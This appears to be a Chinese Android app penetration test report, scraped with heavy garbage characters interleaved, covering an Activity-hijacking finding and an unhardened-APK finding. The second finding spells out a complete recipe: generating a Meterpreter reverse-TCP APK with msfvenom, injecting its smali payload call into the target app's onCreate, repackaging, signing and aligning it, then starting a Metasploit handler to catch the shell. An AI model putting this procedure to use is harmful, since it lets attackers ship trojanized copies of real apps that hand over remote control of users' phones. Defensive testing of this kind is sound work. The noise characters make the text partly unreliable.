原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

" ]3 C! a& F0 b0 O$ R; F: R {; M

# d; N$ R( [) A: n * H, | D; b! D6 [# O: Z
/ L5 j# `; {6 D" Q! T

" m: Z$ B! V9 q. v U$ C5 V; E) Z9 _2 o/ g: e

3 d. w3 u) R- B1 Y# K: o# f' O

0 a# l5 `+ u# d 文档编号：                ( F! }- r9 q# z! O1 F

% ^* m* c+ C! h/ G   $ \" \9 O4 T) }$ I ( f2 }* k6 ^. Z& ?+ a

# F& s5 N, ]+ `! M$ J% I

, X8 [1 k% C" U9 {   / w5 t, B' G( F+ U0 M. z- R " {' b. N _1 \

, t1 x. K! g7 Y; V 5 ^5 c8 ?8 F& I) c7 N' m

. {9 T! [. [$ f% x/ ^- r- i   " y$ ~, E" K0 [5 a' r3 j1 f$ A* e9 Y 2 A1 S$ n# U) s+ G- R& X

" J' J. s0 F5 T5 b

B5 |7 e" R1 |1 l2 h5 \* d9 Z B+ ^% @8 L3 z/ T  

) H5 O+ t/ V! p- ^+ U  

+ Z6 |4 N4 V& @+ k, A6 m

4 H' j6 r3 Y7 S% }- k! \0 I2 c 某某某APP渗透测试 3 P' X' ?) j$ o2 X - e* a( E3 e! U& v/ |- E# `

0 `# K+ Z) [% `- G7 }) I

  0 T( P' h+ `, s# Z

9 m/ U- K7 u3 X7 o # ]3 Q2 v# r; [. a. D

) w$ V/ r7 j+ r9 h/ p   4 M; P3 p. l/ Q, B' o( j , V& H+ R4 q5 K" \2 {- d, `0 E

' D5 s6 b/ f% _$ N, u) x   0 W, _1 r/ Y+ o- t5 d. S# x

) G/ Q3 e4 Q# I

) I$ N2 P/ f+ A) T0 v O5 n   ! w0 a4 g# f+ J: R

. x; o% y; F* w" L. q

技 术 报 告

! j/ ?1 v! A! K1 A8 c4 T8 Q

5 Q( J, a( W7 p # s! N9 x/ ^1 g3 i9 u+ s/ a7 G; R   # S* C) l7 q3 S' J y3 q

) D( Z' [7 p( h4 S4 {$ ]% b$ [

 

* I6 P! F9 j, W' t7 m5 F' a! V  

2 l4 W, R" J& D4 ]: P& [% H3 T

  6 ~! d+ A6 N5 R/ @' u! I

8 m$ M1 |) X' F; P1 F1 l

  2 t2 o% |( }( y8 t5 Y + x1 B. v6 g( V! o4 Q! ^& p

4 }2 l0 ^# b( \9 C7 A' V6 m

 

! h" Q( n% x; a" n. M # j) A$ S$ C/ D* Y% e! o8 ]1 S

% J7 p' B' ]+ M. g0 ~# N - h( j' ^0 U$ [% [8 d   " e9 c: N! q* F/ H2 c: f# | F / y0 z B0 u2 l/ C8 o

! R. {. R5 ?7 C% ]3 j* r: y 3 l" V+ K3 G2 E/ B" U4 e& W, f; p7 L

! L! v3 U4 D5 ~% p) L; @   # j% W: [! L5 j2 v* X( j: M7 _; \

1 ^3 w8 v0 w( M6 v

& W3 f/ d+ T0 A2 L; _5 z " j+ j% g8 e) ~* g  

; d) E) c' a7 p! F: N% M   # D) N8 S: z8 J* Z- J0 k

1 r. z2 n k( A5 X8 s8 _" L+ q

1 S; k+ W& \/ f& v0 a   $ {; r) }4 D, m

! e7 q# k# @6 _2 ^$ | & w: @* Z3 M \0 @# ], o2 V

% `3 m. P" c) S  

( u7 K8 y# ]! u$ \: x. Y' a

+ r. H/ k& Y5 W/ P1 K1 k # Z4 ~& j# ^, j* d8 G6 R/ s3 U   * K/ ~$ p$ x* A, F1 y

! B5 M% M+ V. H3 R1 Z: w# O+ K7 J

+ n( F% T9 H. W" `: D; c  

! s: Z( f I2 u- C; m

" H4 Q; i8 U& l4 }+ C1 B 3 o2 P$ U& [6 N. j j. c& Z' v# p( d   0 k" [9 L7 Y. ^ 4 G4 j& M% v# r/ T

' q4 c& Q. ~ |& p* g 4 w/ M m. ?* d8 e3 }

 

. R; p2 \! ]. u+ y$ ^/ f 8 J' L7 R7 }: {9 j0 q( x( M

  6 _" \3 e* j; X8 _. k * I. R$ j% _ s3 y9 p+ ^

; N1 W' t3 N* A+ A* X. O0 X2 [0 } # d( V7 U9 L" B7 V. S+ V

. }/ |6 v7 n. K4 A 4 n b$ K9 |- h6 B, u' R   ( s% y# G E0 I2 G E" h. [' X

) y$ K" u* d+ L# {, ?& ^6 s3 M 1 B7 g& J( `' \9 o; B9 ?5 ?

" [3 }' A) d! k) X; m6 y$ ~ 二〇二〇年 ; a0 c( u! L. r) G0 K$ \$ b+ y! a; B

' M! N; H. Z" J- u

) D8 v M# C7 f, {
. c% }: G: E4 J5 T3 \ * f8 K' q& c# d9 q8 \ 2 W/ z2 p& g+ |% I2 A% T

* a& X8 M( k0 S g* r" b6 D; z
6 o! E' X# G+ v 5 W. }# L C( w

8 y8 p5 t7 b, q: {6 \$ W( O# H0 q! I

目 录

7 o% @# S5 F( u3 O* Q' z. o 7 g" y8 W+ j( Q/ Z& }( h

3 p! b3 q. T3 H, M" `   [1 i* g8 @7 Q U 7 U6 a: |( I* U4 d

$ n- H- V* V! i2 D4 F @; D, O + ]' X' D$ E7 I9 |: e% E4 z

& N- [) T$ {; n3 i8 ~0 a 1 概述... 3 ) O/ o8 S" d8 u7 s+ {1 u' R2 ? U G$ B5 L! e% Q( O( I

1.2测试时间... 3

! D2 ]/ N2 d9 q O 3 ^2 i0 u3 P6 z$ c/ o4 O

6 V) e/ P% h& \. |, W0 [2 u) @+ o4 I 1.3测试对象... 3 . r* p- @/ X( B* Q E# i( y

6 h1 D, j: x1 v( ], [- Z: e- I

' |1 M( v# ~/ E* \0 u, M- u 1.4测试结果... 3 3 v$ S0 R. _, |8 h$ H 4 {! A2 Q- Q3 P8 S2 r9 s

; }3 d z5 `2 A# o" I" k& z

8 `$ M t! w1 s% N& b4 r $ E- D* e7 v1 {% o) [/ t! B: H 2 检测结果... 4

. @/ \6 {: E8 I d3 m5 N# d

+ j% ?6 H! V9 J 2.1 某某某... 4 7 s7 S& o4 F/ p) D& P& V. [

4 x- O! m2 T# U% p; u8 R

2.1.1检测目标... 4 " Z6 ]6 L' i0 ?0 @

2 t& B4 R3 L8 x( ^4 z5 P* R

# a. H4 A. j1 J3 |* f! _ 2.1.2检测结果... 4 9 |% A( [9 P, p. h8 _

( p; L+ |) e8 L8 k9 p3 R2 p

2.1.2.1. 4 " U4 e" Y( A( `# Z+ y) g2 [

: n3 V$ k/ P* ^* d # K( ]) ?) m+ K% @, ?9 ?/ g0 Q5 o

2.1.2.2. 6

0 K% S; O& f$ C7 T5 R! d* ~. w9 v

1 K, {. ~, v# Y' U& E/ I# S & z0 A$ y- E# x) L' J! L) c

/ g s6 T0 V( P # N5 l/ T& k& N. T + d- j" v4 N! d% b& i; w

7 g9 L2 T& Z5 d/ f% V
: Y" X7 S: F; L) P# \( @ ) d/ \/ l8 E* O0 ~0 p, }+ |# A + G9 N2 o/ E0 f& @! @

) u. M* z; T0 J6 ]4 d 6 _1 c9 Z/ e1 k, s' x 1 概述 ) V% ?& Y2 C" ]' w: ], k1 M+ Y

6 Z( }+ b3 p! O, o

1.2测试时间 6 @4 A8 c# t; _, M! l

2 x) r2 ~! i. b; q) E3 y # r) M( j( B4 V" d$ S4 W+ O , A( t$ [; m1 _, Z* {& r0 [0 v" f5 h& x! N8 W9 C7 B% W7 K5 f$ d8 u* f4 F( |& i6 p7 l) z2 N! e! J8 T, d/ T* s% p6 _8 s2 Y* i6 x) n% v- I# F8 O6 G- U; X; ?; u9 J6 f2 B* I: `8 u# f1 S; b/ s+ d4 u, M. Y7 g" Q: F+ p2 G1 w6 b. j% s2 ~+ B3 X) \" t0 a7 f) w$ |3 p1 d5 [! B- Q% i! f2 u* J# J9 ~; j/ v( Z3 O! w1 O# z9 L% j# W. M8 `# ~6 ^# n( @) b; B) j9 |

4 E: }1 m7 G: ^ ) J, g) w' |$ p. k) N1 z9 x' ] ; I% I. v( o# L6 q: A. a/ ]2 j 渗透测试时间
* S+ }, l; r& D$ `0 z( B 2 N$ F3 e( Q: b# j" O8 ~ 起始时间 1 w, c" Z& I* F& R# f	$ D ^* d, A/ ]1 O# V) E , w, Y# r: k! A6 Y. @8 \ 2020年4月6日
2 e' {5 h! F0 V8 C + U" p8 g4 s3 [0 c & N/ o2 w' [' w3 z, z/ a 结束时间 9 r6 s* F8 k4 \; Q) v5 f	/ a3 ]+ ?3 U- W" D) e" o8 u 2020年4月9日 8 g# Z. K6 A! I& _' T & a# z2 K8 m& `4 b' M - c$ e# j( z2 Y

7 T0 z8 Q9 @0 I

* [# U9 W% e- o+ o V$ A$ f 1.3测试对象

# {6 ?* s' q1 m. ^ K4 k. b( v5 w8 h L6 a

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 2 V% J3 N7 d( [ . h* g: |% q$ @4 s

% _/ |/ p, `( N1 V

2 _& P, ?9 {( G; v/ o) Z2 B |; x 表1-1 检测对象 7 q7 A* X6 P& e3 J, @" Z

, T9 Q+ D' Z1 E1 x& o ) B3 A+ o) H& ]" o' E0 L( G2 A; t; @" X8 v9 U& x) p$ j, ?0 @% I A1 g5 \: |6 v% U+ x! d% W+ T7 Y0 I j9 o6 Z3 k: K6 v3 d% x9 [; |* y3 K. r( G, }! X5 T$ }. I/ W0 u' G- w3 `) K1 y2 K+ @# N6 y$ G- e6 c7 |; \: O0 L4 L! Q1 l/ d( p- H1 s3 J1 G9 T' `+ V8 i" U& C+ W( W- Y4 q, ^7 t& t5 i- ~: G% T; F6 q5 D2 w/ ^! ]) d" f! n0 H6 ~8 Q+ P x( z. k$ q4 I0 \, g3 p5 A8 Y/ {2 ]- N1 Y" R4 E' y+ D/ Q. k# r: U

. I0 t5 E1 O: R: J- j 序号 : g( W$ B/ U# H6 F ! A( l) u7 D( [ `7 w! M 6 B$ j K2 E e0 Q# g	, b& w% a. _0 w# m+ j 6 \/ G8 l5 c+ y3 E6 u / J! l7 _2 q0 E5 v# v6 E $ N( C5 B h7 o4 k7 `1 J, U 测试对象 6 V0 F. z5 C7 q8 h1 l( D	3 L4 X r4 O3 o; n, F, f 测试地址 # t) S3 N: H) f1 \: r6 J0 r5 [( h	5 w$ U' X& h( V* l' X+ k 安全漏洞
+ R4 u6 N) d& I8 _ ' M4 z7 P2 U: D A4 h # x x% P6 a/ ]3 c& ?- h 1 5 h8 L Z5 L3 v& u* p6 { % t/ p' ~ m, A9 @6 ?9 { ( _* z" W2 P# d* u 8 a, l9 z# P1 g8 z5 @/ M6 x& p	! S2 k& X% B; t 7 O' h/ U0 c. v 某某某安卓APP 1 x$ W/ j i1 Y4 }. B& m # n3 I+ t# C4 m* b 7 c$ P7 O( c& U9 g, h. r	" |! A( ~2 S* k' G3 e	2 D" v9 H! p1 | 2 # y3 U9 j- d* z , X) X8 K, M# v3 H. F5 m

; g+ M- B2 y% m

- i7 |9 Z1 l9 y1 S 1.4测试结果 / p4 N* d& i2 j) L

- q" ?, p% j2 E+ k% `( P0 X - o4 _4 I5 [% E* v' T. s

" l, O6 U+ c0 k3 e" n 7 o" ^( p$ F7 U; i. W2 A 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： * |: M- a) p) b2 u

' M' C6 v# l0 R * v) n$ s7 t) `

6 i1 X: v. I1 _+ H1 Y' n5 D4 o   # O, S7 h+ O5 A8 J) C% \; b

& X9 m- S2 W7 d

4 M8 s. |: J1 k) s4 B2 `# G9 C4 s; ~9 j, a" W8 Y! l% D* O; m6 ^$ o8 ?8 s) m* B, E# w3 C8 J5 K0 X5 Q/ L0 j7 Q" |# e- X. m2 U/ Q' F! `# L; `+ E9 K+ W/ `6 B- M& b. S+ S, _% |% t4 V; j) \: [: S. Q6 t( X1 _* o1 Q9 F# ?3 O- I5 S6 Y3 F$ z) F& y" ~" F2 b5 y3 Z6 u/ b: s% l+ O5 W0 J/ D* F# _( z) c p! _+ x1 P! D$ ?2 I; v/ C/ Z2 o: h+ ]( i, N R% T4 l! b; z4 W) q# e8 J3 }# V" @9 `! b) H4 R X! I; w6 t+ O$ V# C" h2 H& ~0 E: h- a# ~5 e& S7 y4 d0 l4 l; Q6 |2 y/ g" T, S! u& D, X' [- U, {6 N D+ g- y3 R% P r6 K% v8 f) l5 |& ^9 z _1 O' B( n+ l: }* t Q* u6 k5 A! F* P7 |$ j) I$ H: m7 Z9 @1 S0 V, c& u; i+ [5 V8 r" C# H

序号 ) K7 |: C$ W' L1 V	, g" x) Y% w( q, c4 A' O % X4 W/ c7 W) N+ v 0 u9 G/ X! ?2 r ( {5 L8 L4 k5 i1 Z' o) L 系统名称 % Z E2 U Y- e5 o- W3 T2 c 4 k' e0 g' d7 G9 |! k+ x! Z+ S- w 5 G' h& Q; \; s- X' f' q" L- Z	o. B% i( Q* O& n : W/ y' c5 P- h y% W 6 Q) o; i! y4 i9 g# x a 漏洞名称 - D; s+ B& d4 b5 K" m . k, c9 a4 `. K# O) o |4 Y& O	9 M" o {0 I% U1 L4 S- v3 w- Q6 A 1 ]& P. x4 `; ? a9 @/ Z 9 g! N- o; J5 l# | 漏洞危害	3 g/ {! N1 Q' c! ]0 W 修复结果 * M8 X$ ]8 S9 d4 k- E . y* i+ a7 g' |; G3 g Z
6 h' i5 c9 q4 l& R8 G; Y& B9 A 1 w) E% M% g# s' A 1 % ^* [- x& x k9 b' O3 F9 _ / ^& ~2 ~ g! Z! F$ V - |% [+ Z: x3 ]0 h( @4 |	$ Z$ @# f! G* s% P+ w % d, z- E8 ~* a) e $ H4 y9 r+ ?1 e# U n 某某某某某某APP ! @" Z @, t1 o$ X2 F8 o7 {" o* J	& o- I9 ?! Z Y/ H x# j 3 P R9 j7 s) u! u3 I ; t8 n2 t8 E" L$ ~& O% v2 C0 w Activity 劫持 # o3 R" M a' ]1 [* l$ Z) F 4 d* ^% A7 L8 I# P 8 W! K4 [+ A# r9 `; `6 C2 v ( Y: y3 e. U7 ?2 u % N% n! x( S' Y m/ f& c2 H   . t4 h$ i( r# V- p % o+ A- @, |; p3 n. [: r- w& h	/ n, g [. A" w9 k1 n 高 * I5 J) Z* ^4 W/ k8 D4 k! A+ ^. i0 Q 5 p. w0 R5 K& ^' V w. |6 v 6 s( s7 k* }. V8 W+ e* i * t' M1 t5 i: P8 o4 `7 s2 T0 c9 ~	% b) k& q" h1 m( R8 \ 4 n6 n0 y' O6 h! Q ' k! M9 g. v3 U ~1 z7 g$ Q   & E' v5 Z+ t& @
) n1 f6 e W$ ?: [ & A8 _: W" h9 ]9 ^% p 2 & i( @% H- `) E	8 @; o% q2 W# @/ {( D! p & T. |( Y4 Z; t0 m+ L# y4 | 某某某某某某APP $ _4 Z& E& M4 ^, c0 ?: Q4 C* V! c	4 b! A. A1 }) e; Y0 q3 X : T' P P" O6 C a 反编译二次打包捆绑木马、篡改APP代码 5 D7 a) p! ? t' C! @% [+ E + Z1 d* B* g2 K2 ?. K7 ]9 C + A) O" Y$ K( w	! `% n& y( a2 j 2 O V9 b6 x: Y9 x: k: P7 F. b& E / `1 z) i& @ U" J3 M5 e) B 高 5 Z1 u& R' I: S& M) \9 b* B. g 3 _; P! j+ ?$ \4 V! p$ w# A3 T	7 p% _! W" Q7 a- H7 l3 x+ \/ l 8 q; ^ p, q7 u* V6 z

- E7 e8 {3 g/ ^( M! s. M+ x- y

; [6 A9 E- s8 s. {+ H! R) c! e : P; b0 h' [+ D% [

; @. `, x$ ?& H. Z/ K% Q2 s9 t8 q   5 v0 _0 J5 [3 ` P

4 h* d" J& Z3 T E1 x8 s" }! ~

5 L g+ Q. x! Y$ n7 H( j . c1 y6 R, ~0 k( n1 a& c3 ] 表1-2 测试结果 + {( |/ E+ s$ U6 h2 }' e/ }' b2 V

- |; Z8 ^9 |3 O, r; A% G. b 4 S- s1 l* X' k$ ~& i( C0 o" N

6 [. E; b% }, x( K+ ~! n. P; }  

/ D, K0 y, j" u0 t* Q0 [

- `& X. K0 e3 y3 W1 \( w5 J ' H% x& `' j% f, S e# }8 J. d 2 检测结果                    : a2 S( m5 p: |/ h) }7 v( N

8 m& i" K. O# c+ P2 h 2.1 某某某 ( U u3 D! r2 j " K; B# D% Z, F$ S

! R. T2 X Z' A- ?/ S 8 B9 z: u9 ]4 }3 w- G

$ C! V2 K) P% F7 t) a2 }3 v3 s 2.1.1检测目标 ) \. u0 g8 ?2 e9 M6 u% n2 N: K

5 w5 U( @8 L0 W! E' l

. O. D: |% s& _6 \1 ^ A ) H$ V* m9 [1 c: _. B2 R2 o 目标地址： 某某某某某某APP / H& r+ z+ v( T9 J * Z: q; L2 G+ g3 k

& F' V, {! c5 s/ i* e# `" F

7 f+ |7 z; e/ Q+ r- e 5 P/ C7 v# d- m3 @6 \* { 2.1.2检测结果 " V4 N! T* b+ E: `1 O6 C% c' _+ R

5 Q% z; p8 U- C- e6 S( |( ]

2.1.2.1 $ Z6 @& S( u# x z- ?: n' l" X 7 b0 c, E/ g" I \/ V' y: i! t! ~

* D0 l$ E$ s6 J; V Y5 F

) |7 Y" B% \4 N- f: O/ B5 w: s 漏洞链接地址：某某某某某某APP - N" d0 Z4 l" O4 g! Q4 Z& `, a0 ` s& [( i# M/ S5 R# @' t

0 x; ]% W) x! b% L- i

( O& K$ ?# ~! P5 z  

6 [4 p& c) j6 j# F- Z : O/ P+ d- n! @* e

( m6 B. y: s: k! S! ?/ J5 K; T6 h , T- m% q- I6 E1 W5 J* J' c 漏洞分析及取证： ' k; D2 J3 ]0 ?4 V: O

( o( R9 X( ?& K. F4 E - u$ O+ z- g/ Y; d; w, X! F9 c4 E

0 h$ E3 Z; n( N) X( ~. L- s ( U8 a/ Q) {+ m, z1 M                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： $ a* ^+ v4 |) J% ^0 u- z * A/ e; ]3 \, Y8 Y( M f

( _( R$ o! ~( q2 U

# f9 l7 ^, R; F      0 J# x: o& r) s; ^% f

" ~( `2 R+ W% G                      

( _1 [( n- y+ \: c

9 @- Q7 Q8 r$ k4 r, e: A0 x ( S& r. K9 n( [) f( U ?

0 S; M' p0 C- p2 E' ~! i' Y

: F" M8 v- b X1 ?! h0 Z h ; H+ E$ l+ z$ Q

/ k1 T5 P5 y9 H/ C: E

+ p3 L6 O9 w! C/ ?" J' @. K/ a # Z% k; G [& P# H ! z9 u+ d' l( H

% j3 E7 _6 s! v3 x* r4 x

漏洞危害：高 9 V; w/ C' \' I9 @( k. }0 h

- @" N( O' ?* l, T$ ?0 r

0 L! Q% G6 B1 B+ k. ~5 X" g % } L! ~4 a/ s+ ^- H& h# M) x( q0 S7 \' L$ U) t+ ? Q! w$ j4 ^4 |# p# a0 P4 P& |8 E9 y( h- ^! f4 x# f E a/ I$ |. u" S/ V9 F$ p! \5 C' y4 h \. k( I6 h. ]6 J3 v2 L: V: ?# L, v

# Q* F1 |; c* y8 t- A/ h% I / U( u( i0 ]7 Y, ? T6 k 1 Z, }( N, \3 h5 q 严重程度 A; K% f/ P, ], X# a) w	w# H7 \, V X. R; N; E : {0 P5 o+ G% A/ \3 ` ) U$ X- |3 u& M 0 r9 {7 W+ d4 U0 G( ~ 高 * `& V: g+ q5 M/ x) {( Y 8 A9 }' l% b9 C U, }7 c* |" e" s ; C x& l7 {" z& o	0 ~4 s4 p: S# h- f- } ■ # M3 x8 G+ A6 o E	" N8 P' |; h9 ]2 ^' A 中 + c7 N6 N' f1 D" Q/ g: ?. R	2 i& l8 [! h1 |2 O   " v, X7 w5 z8 i8 Q: {4 Z- K6 ? 7 j4 i& d- p9 b* `7 H	& d/ p/ D; Y3 `6 K 1 g# a! x* T, ]! Q $ ~4 p- _0 k# K: ~5 R 2 r' n. ?( ?6 |! ~( j8 S 低	5 k$ D, {0 i/ n# p   & Y' \. C" R& \! _% q: W: D " O1 F( l. P1 ~# D$ L$ b* p , y1 X' G. G+ Q

5 u. ~+ V. x3 { q1 r

; ~1 a3 y: _' g: s

, v1 t6 U' L: Q( T7 d" h9 o   6 q( B/ ~5 C. _, j' [/ M; N- v

( K6 L0 G9 n; f; i

2 l/ C: `8 F. Z6 N 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 , g! I9 B( A' Z8 R

. W' z! `3 a; }# U! E/ P; j

' c, U* }" m8 |6 Z) m           % h n$ p, O- y, C: y # `: q2 K1 ]6 `7 [

% |! D( l5 \) G2 x/ p

) n+ V2 c: V5 E6 B5 n& |1 t  

+ c; e+ G: r( t- n0 M

0 x5 F$ Q& h4 b6 s# Z4 K* k T1 b ! L7 e" Z. u9 s3 i+ ` 2.1.2.2 ; N9 P9 M0 X/ t' O9 O. e5 p: i

# [4 r) Z9 N8 [3 L& f . t; o; u, [. ^; M; b4 v( w

漏洞链接地址：某某某某某某APP * A: \8 G; @+ A2 P, ~( A# _- |

8 B8 O* r2 e8 g5 N% I4 y4 X 漏洞分析及取证：

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： : O1 ]/ i6 G3 |; C# J$ O+ k0 o |. x$ c; n1 X; p: x

用Metasploit 生成木马 apk 3 ~, S$ b" p; m8 f2 c7 Q+ e

. v$ L) i" p1 T% o. _( H - `- ~" D3 X3 L, c( A$ O

# F, F6 \$ |- k msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 7 D9 H$ P" n0 `" [' z5 B/ j6 a

$ j7 |; g9 B5 b5 ~- r, }

反编译目标apk和木马apk 5 t3 Q, L R3 _# W1 \2 J4 d0 Z$ d

1 ^# n/ V" S2 D0 ? 1 O$ ]% l( f: y! L

7 f. ~9 ?% X% H" j apktool d target.apk
6 F# E4 m2 A4 j9 p6 M apktool d cockhorse.apk ) a b! o" k1 T! |5 t5 }

; @$ H. S8 t* K9 d4 Q 6 x2 [: T5 w2 p1 `. b6 T, Y 木马 apk 注入目标 apk 0 g \, J5 S1 w. ~3 T

/ Z5 M9 K% Y, p- F) @, J% B ! J- R4 @- l& E

# I( ~ y) u' f0 A$ |$ v, m 4 w0 `2 \- y6 y0 m" A$ x2 B/ j 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

0 E* [8 g, U- i6 z, Q: x# v; g

0 N f1 @# l4 L1 ^$ V 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 " h" A9 B0 G' v 3 S+ d3 M9 ]7 ^

7 c+ }# }* A/ q& X. Q% v0 ^

: l! r) C2 o) F9 l7 c* t9 L 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ( L S; `. v% T; J4 e# s m4 g2 z1 G$ @6 ?3 b1 `+ @

回编译生成最终 apk # ?! V; }& _! C1 T

# J5 D) z+ j0 f6 X9 `1 r7 z- I

4 w9 a, c9 K( l 重新打包

$ a; N- `3 e& f5 b) g/ Y4 y

* j( O: b5 a( Q* k. p6 Y apktool b -o repackage.apk target_app_floder ' @( Z9 x( F+ w/ e/ b0 E! _9 p

W* _3 `( H4 c

( p# d: G" Y }- r* Y9 x 创建签名文件，有的话可忽略此步骤 ! M7 h7 i# J2 o7 L( m

7 ~# t$ a4 K0 B& D. N - h! l% v1 M+ y9 s3 E' m

3 T) b7 j; g0 d# s# y keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                / F [( F, z: V2 S ; @& p$ a+ n7 f7 j

7 @4 j4 D7 y5 v+ j* F8 r. E

签名，以下任选其一 , U7 y* n9 B8 r2 L

$ v! \' q0 W c

. c M" c4 b; ]# ^0 c0 p7 ?+ F 6 |0 u( S! b7 c R2 \% E jarsigner 方式

9 ^8 X7 D# \3 n6 Q- o+ e7 S' ^' D

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname & B7 u2 V9 y8 ?) c* w. c % K# K1 w# H* R& W* R

apksigner 方式

c9 M. e( J7 g, R: O5 C7 q 7 o9 g* |* A- m

! \; V$ U- z3 t apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 0 T0 f* N* P. ?; ^ s1 \' P! b

5 N7 I& L) g& T- m , l( d0 |$ P- s

8 h4 y) M0 r5 b 如需要禁用 v2签名 添加选项--v2-signing-enabled false ' l: A3 S3 t3 v9 x8 j* o

0 y# O( V+ q$ C# E u: C

验证，以下任选其一 # F' `8 i: R3 X; o8 E+ {" P+ B& B: u

5 a" L* L/ g I

0 h3 `7 g& ]+ U" T: ?: Y jarsigner方式

jarsigner -verify repackaged.apk 2 D3 ^& Q& e/ T; T( J7 x ' J) R. i. Z A* y4 k

; y; K a4 b6 Q9 i; h * I4 G$ j T+ s- B4 ]+ w- Z

! _& q9 [2 A% s, [0 r4 u # u: O: c5 y; x1 f apksigner 方式

" ]7 \$ Y, [3 s8 i' U+ I

% ^5 Z) J3 j" v; @! O4 } ( V# b. |1 V5 e( ~ apksigner verify -v --print-certs repackaged.apk

: d# u8 w1 S5 w" C. a+ P( |) Q keytool方式

$ W: h5 j5 ^& b, L/ [# N

keytool -printcert -jarfile repackaged.apk

4 v6 z& m {2 O

6 L( {/ f! E! ~4 p) u+ P- K 对齐

5 r( k$ w/ j O, U% N, D: Q4 p- } 0 |. c+ D( Y @, d# G' b, w

$ p3 t+ ], X0 y0 F( L! B+ @9 H 字节对齐优化 ) \3 T: _* I% ]2 C

9 T$ T1 M8 _. I, R) g! Z' @ , F1 q8 g* [( j+ U1 e

zipalign -v 4 repackaged.apk final.apk - E/ [8 d* s; q/ s

1 H3 ~! m$ N0 B! d9 v

& _% j8 H: u2 G) [ F* _# F) d* b 检查是否对齐 * D1 c, i' g2 ~. Q8 L5 d0 p2 j1 L1 v

+ f6 k/ N; i, m( K* J; s 7 H* k* t8 U5 ^2 x& k$ T

6 d8 e1 H, A2 ~' g zipalign -c -v 4 final.apk 6 {/ E, G/ v8 L! I1 ~) b+ J. g5 k 8 l) h# _2 y/ p+ M( ?

' H: }& m9 ]" K6 R+ I( r" O 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 m" R3 T6 I: J& m( j x( t 3 K$ n! g8 ? l2 m

T& t( D: |; V' T+ k, [

启动Metasploit控制台，配置参数等待上线 # \' t% p( {3 x4 n, u, ?2 `+ m5 ^

4 W* W% x9 w& L+ {- `2 ]

在终端依次输入如下命令 2 H/ G7 n; l; y. [7 A x, D8 P! l; h

/ z, W) I- } ~( X2 S# m

( |' }8 t) J- ~; w, w msfconsole

$ j$ i/ T2 d7 \; G4 |, o

use exploit/multi/handler

2 w1 U- U2 R$ j# w- [, C

6 ~! e8 V- k2 ^7 S1 h9 R) z set PAYLOAD android/meterpreter/reverse_tcp 0 J. w p/ X/ L* o

set LHOST 192.xxx.xx.xx

; |* r% ?2 v$ u8 ?2 c1 m7 z) p9 l, ? $ z$ X( |- ~3 Q% r

3 ~) V' o% B6 l1 T set LPORT 4444 ) d* r( G# L5 T, z5 U

* F1 Q, `. g# r+ w$ m

. Q* U7 d" G" Q1 |. q exploit # A7 u) J2 u8 }; L3 f, h 0 K" ]8 k* F: x& V2 k

* K7 o( w9 [+ E: V" ~, r

" V" B, ~3 ^+ \" C# V 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ; a: a* E$ j# A( O

1 d# f* V6 y' y" i( r 9 z) V3 i9 f/ ~( T

# B f/ E! c0 j) g8 f0 Y 3 M8 J8 P2 T+ t; L8 Q 漏洞危害：中 ! x: p7 s+ s% r9 u6 ]' ?# l( X/ o

. }2 s7 ^! u+ A; r( H

" O1 E, `- @6 D9 K5 y% ]: N 5 w1 F( n! @6 X, P" T5 ] 5 L$ L' {0 X* R) y * e4 K6 i' `( V# p$ q 1 N% C% i' [% J& r3 `* |9 i) B0 I% n1 a2 O% d& H6 D' T* \! r, g" z. k& F L ] I- C. l7 j4 { ]% R; K2 m9 b4 E: A \+ d: G$ ~- g0 c( l$ f( y) V* S' [8 B+ I3 X% O% M! Y% U9 q% G$ r p* p" D, ?" O, @1 h( P; A( g# H9 n$ I/ b' f' S$ x6 K* D1 W& d& {; |! u! O6 ^8 \6 q/ F5 b9 n2 K( l: }1 S+ g& ^0 @+ n7 K: m3 w% G* Y: K* r( k* v8 c9 a: z8 }+ Z K+ \$ V) \$ |& Q' ~9 u& I! q

& ^7 X% I" Y9 K* G1 t# D q " s1 P! `& q$ A4 n4 A 4 L3 ^6 _7 x4 Q! I 严重程度 " X" g+ z9 `7 v9 k* O # y; j. M2 G7 R; |4 s) v; L+ ~	高 ( v7 f% W* S9 H1 Q7 G6 L ; m, F' M9 c9 q7 Q. X' |- y7 Q8 Y	! O2 }7 z; I- a$ `* w1 x ■ D$ D9 G6 y& g7 E' K7 a $ b+ ~9 X: v2 H% T; A	6 M8 N" n' V: J& a j ! x) z0 i% v) y 中 2 R2 `# l e* X5 j6 @ - A$ w1 h3 g% k: v ! P5 m1 M7 r" @: i) C! y	! @1 R% |8 D- V, u2 } - \% f _8 c# N+ w* |5 s. N+ K   1 p/ Z2 |& S% N" b* Z0 T3 a, T1 j( ? 6 D R# h1 `3 k, E	5 [ G! `! K& W2 [8 s1 {" P. ~ 3 v4 f ~1 W; f4 S! A% K( [" |& ?, X8 T 低 , ? G7 Z7 C: i4 M5 f/ `	# e7 B! x/ t7 v' G$ U1 i- C 0 